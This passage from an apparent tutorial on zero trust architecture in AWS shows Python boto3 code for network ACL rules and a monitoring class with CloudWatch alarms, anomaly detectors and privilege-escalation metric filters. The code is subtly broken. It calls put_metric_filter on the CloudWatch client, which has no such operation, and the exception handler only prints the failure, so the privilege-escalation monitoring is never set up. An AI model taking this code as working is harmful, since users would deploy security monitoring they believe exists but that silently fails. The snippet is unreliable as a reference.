                    <span class="sh">'</span><span class="s">cidr_block</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.11.0/24</span><span class="sh">'</span>  <span class="c1"># App subnet 1A
</span>                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">rule_number</span><span class="sh">'</span><span class="p">:</span> <span class="mi">110</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">6</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># TCP
</span>                    <span class="sh">'</span><span class="s">rule_action</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">allow</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port_range</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">From</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5432</span><span class="p">,</span> <span class="sh">'</span><span class="s">To</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5432</span><span class="p">},</span>
                    <span class="sh">'</span><span class="s">cidr_block</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.12.0/24</span><span class="sh">'</span>  <span class="c1"># App subnet 1B
</span>                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">rule_number</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">6</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># TCP
</span>                    <span class="sh">'</span><span class="s">rule_action</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">allow</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port_range</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">From</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1024</span><span class="p">,</span> <span class="sh">'</span><span class="s">To</span><span class="sh">'</span><span class="p">:</span> <span class="mi">65535</span><span class="p">},</span>
                    <span class="sh">'</span><span class="s">cidr_block</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span>  <span class="c1"># Ephemeral ports for responses
</span>                <span class="p">}</span>
            <span class="p">]</span>
            
            <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span><span class="p">:</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_network_acl_entry</span><span class="p">(</span>
                        <span class="n">NetworkAclId</span><span class="o">=</span><span class="n">nacl_id</span><span class="p">,</span>
                        <span class="n">RuleNumber</span><span class="o">=</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">rule_number</span><span class="sh">'</span><span class="p">],</span>
                        <span class="n">Protocol</span><span class="o">=</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">],</span>
                        <span class="n">RuleAction</span><span class="o">=</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">rule_action</span><span class="sh">'</span><span class="p">],</span>
                        <span class="n">PortRange</span><span class="o">=</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">port_range</span><span class="sh">'</span><span class="p">],</span>
                        <span class="n">CidrBlock</span><span class="o">=</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">cidr_block</span><span class="sh">'</span><span class="p">]</span>
                    <span class="p">)</span>
                <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create NACL rule </span><span class="si">{</span><span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">rule_number</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Example usage
</span><span class="n">network_manager</span> <span class="o">=</span> <span class="nc">ZeroTrustNetworkManager</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="continuous-verification-and-monitoring">Continuous Verification and Monitoring</h2>

<h3 id="real-time-access-monitoring">Real-Time Access Monitoring</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">ZeroTrustMonitoringSystem</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cloudtrail</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudtrail</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudwatch</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sns</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sns</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">lambda_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">lambda</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">setup_continuous_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Setup continuous monitoring for Zero Trust validation</span><span class="sh">"""</span>
        
        <span class="n">monitoring_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">access_patterns</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">setup_access_pattern_monitoring</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">setup_privilege_escalation_monitoring</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">anomaly_detection</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">setup_anomaly_detection</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">compliance_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">setup_compliance_monitoring</span><span class="p">()</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">monitoring_config</span>
    
    <span class="k">def</span> <span class="nf">setup_access_pattern_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Monitor access patterns for anomalies</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create CloudWatch custom metrics
</span>            <span class="n">pattern_metrics</span> <span class="o">=</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns/UnusualLoginTimes</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns/GeographicAnomalies</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns/DeviceAnomalies</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns/VelocityAnomalies</span><span class="sh">'</span>
            <span class="p">]</span>
            
            <span class="k">for</span> <span class="n">metric_name</span> <span class="ow">in</span> <span class="n">pattern_metrics</span><span class="p">:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_metric_alarm</span><span class="p">(</span>
                    <span class="n">AlarmName</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">metric_name</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">-Alarm</span><span class="sh">"</span><span class="p">,</span>
                    <span class="n">ComparisonOperator</span><span class="o">=</span><span class="sh">'</span><span class="s">GreaterThanThreshold</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">EvaluationPeriods</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span>
                    <span class="n">MetricName</span><span class="o">=</span><span class="n">metric_name</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span>
                    <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">Period</span><span class="o">=</span><span class="mi">300</span><span class="p">,</span>  <span class="c1"># 5 minutes
</span>                    <span class="n">Statistic</span><span class="o">=</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">Threshold</span><span class="o">=</span><span class="mf">5.0</span><span class="p">,</span>
                    <span class="n">ActionsEnabled</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
                    <span class="n">AlarmActions</span><span class="o">=</span><span class="p">[</span>
                        <span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:zerotrust-alerts</span><span class="sh">'</span>
                    <span class="p">],</span>
                    <span class="n">AlarmDescription</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">Alarm for </span><span class="si">{</span><span class="n">metric_name</span><span class="si">}</span><span class="s"> anomalies</span><span class="sh">'</span>
                <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">configured</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metrics</span><span class="sh">'</span><span class="p">:</span> <span class="n">pattern_metrics</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">setup_privilege_escalation_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Monitor for privilege escalation attempts</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Define privilege escalation indicators
</span>            <span class="n">escalation_patterns</span> <span class="o">=</span> <span class="p">[</span>
                <span class="sh">'</span><span class="s">AssumeRole</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">CreateRole</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">AttachRolePolicy</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">AttachUserPolicy</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">PutUserPolicy</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">PutRolePolicy</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">CreateUser</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">AddUserToGroup</span><span class="sh">'</span>
            <span class="p">]</span>
            
            <span class="c1"># Create CloudWatch Logs metric filters
</span>            <span class="n">metric_filters</span> <span class="o">=</span> <span class="p">[]</span>
            
            <span class="k">for</span> <span class="n">pattern</span> <span class="ow">in</span> <span class="n">escalation_patterns</span><span class="p">:</span>
                <span class="n">filter_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">ZeroTrust-PrivEsc-</span><span class="si">{</span><span class="n">pattern</span><span class="si">}</span><span class="sh">"</span>
                
                <span class="k">try</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_metric_filter</span><span class="p">(</span>
                        <span class="n">logGroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">/aws/cloudtrail/security-monitoring</span><span class="sh">'</span><span class="p">,</span>
                        <span class="n">filterName</span><span class="o">=</span><span class="n">filter_name</span><span class="p">,</span>
                        <span class="n">filterPattern</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">{{ $.eventName = </span><span class="sh">"</span><span class="si">{</span><span class="n">pattern</span><span class="si">}</span><span class="sh">"</span><span class="s"> }}</span><span class="sh">'</span><span class="p">,</span>
                        <span class="n">metricTransformations</span><span class="o">=</span><span class="p">[</span>
                            <span class="p">{</span>
                                <span class="sh">'</span><span class="s">metricName</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">PrivilegeEscalation-</span><span class="si">{</span><span class="n">pattern</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">metricNamespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust/Security</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">metricValue</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">defaultValue</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span>
                            <span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">)</span>
                    
                    <span class="n">metric_filters</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">filter_name</span><span class="p">)</span>
                    
                <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create metric filter for </span><span class="si">{</span><span class="n">pattern</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">configured</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">metric_filters</span><span class="sh">'</span><span class="p">:</span> <span class="n">metric_filters</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">setup_anomaly_detection</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Setup ML-based anomaly detection</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create CloudWatch anomaly detectors
</span>            <span class="n">anomaly_detectors</span> <span class="o">=</span> <span class="p">[]</span>
            
            <span class="n">metrics_to_monitor</span> <span class="o">=</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust/AccessPatterns</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">metric_name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">LoginAttempts</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">dimensions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">UserType</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Human</span><span class="sh">'</span><span class="p">}]</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust/Security</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">metric_name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">FailedAuthentications</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">dimensions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AuthMethod</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MFA</span><span class="sh">'</span><span class="p">}]</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS/Lambda</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">metric_name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Invocations</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">dimensions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">FunctionName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">zerotrust-validator</span><span class="sh">'</span><span class="p">}]</span>
                <span class="p">}</span>
            <span class="p">]</span>
            
            <span class="k">for</span> <span class="n">metric</span> <span class="ow">in</span> <span class="n">metrics_to_monitor</span><span class="p">:</span>
                <span class="n">detector_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_anomaly_detector</span><span class="p">(</span>
                    <span class="n">Namespace</span><span class="o">=</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">MetricName</span><span class="o">=</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">metric_name</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">Dimensions</span><span class="o">=</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">dimensions</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">Stat</span><span class="o">=</span><span class="sh">'</span><span class="s">Average</span><span class="sh">'</span>
                <span class="p">)</span>
                
                <span class="n">anomaly_detectors</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">:</span> <span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">metric</span><span class="sh">'</span><span class="p">:</span> <span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">metric_name</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">active</span><span class="sh">'</span>
                <span class="p">})</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">configured</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">detectors</span><span class="sh">'</span><span class="p">:</span> <span class="n">anomaly_detectors</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">setup_compliance_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Setup compliance monitoring for Zero Trust policies</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Monitor key compliance indicators
</span>            <span class="n">compliance_metrics</span> <span class="o">=</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MFACompliance</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Percentage of logins using MFA</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">95.0</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SessionDurationCompliance</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Sessions exceeding policy duration</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">5.0</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">GeographicPolicyCompliance</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Access from unapproved locations</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">1.0</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DeviceComplianceRate</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Access from compliant devices</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">:</span> <span class="mf">98.0</span>
                <span class="p">}</span>
            <span class="p">]</span>
            
            <span class="k">for</span> <span class="n">metric</span> <span class="ow">in</span> <span class="n">compliance_metrics</span><span class="p">:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">put_metric_alarm</span><span class="p">(</span>
                    <span class="n">AlarmName</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">ZeroTrust-Compliance-</span><span class="si">{</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
                    <span class="n">ComparisonOperator</span><span class="o">=</span><span class="sh">'</span><span class="s">LessThanThreshold</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">EvaluationPeriods</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span>
                    <span class="n">MetricName</span><span class="o">=</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust/Compliance</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">Period</span><span class="o">=</span><span class="mi">3600</span><span class="p">,</span>  <span class="c1"># 1 hour
</span>                    <span class="n">Statistic</span><span class="o">=</span><span class="sh">'</span><span class="s">Average</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">Threshold</span><span class="o">=</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">threshold</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">ActionsEnabled</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
                    <span class="n">AlarmActions</span><span class="o">=</span><span class="p">[</span>
                        <span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:compliance-alerts</span><span class="sh">'</span>
                    <span class="p">],</span>
                    <span class="n">AlarmDescription</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">Compliance alarm for </span><span class="si">{</span><span class="n">metric</span><span class="p">[</span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span>
                <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">configured</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">compliance_metrics</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="n">m</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">]</span> <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">compliance_metrics</span><span class="p">]</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">analyze_access_request</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">access_request</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Analyze access request for Zero Trust compliance</span><span class="sh">"""</span>
        
        <span class="n">analysis_result</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">request_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">access_request</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">request_id</span><span class="sh">'</span><span class="p">),</span>
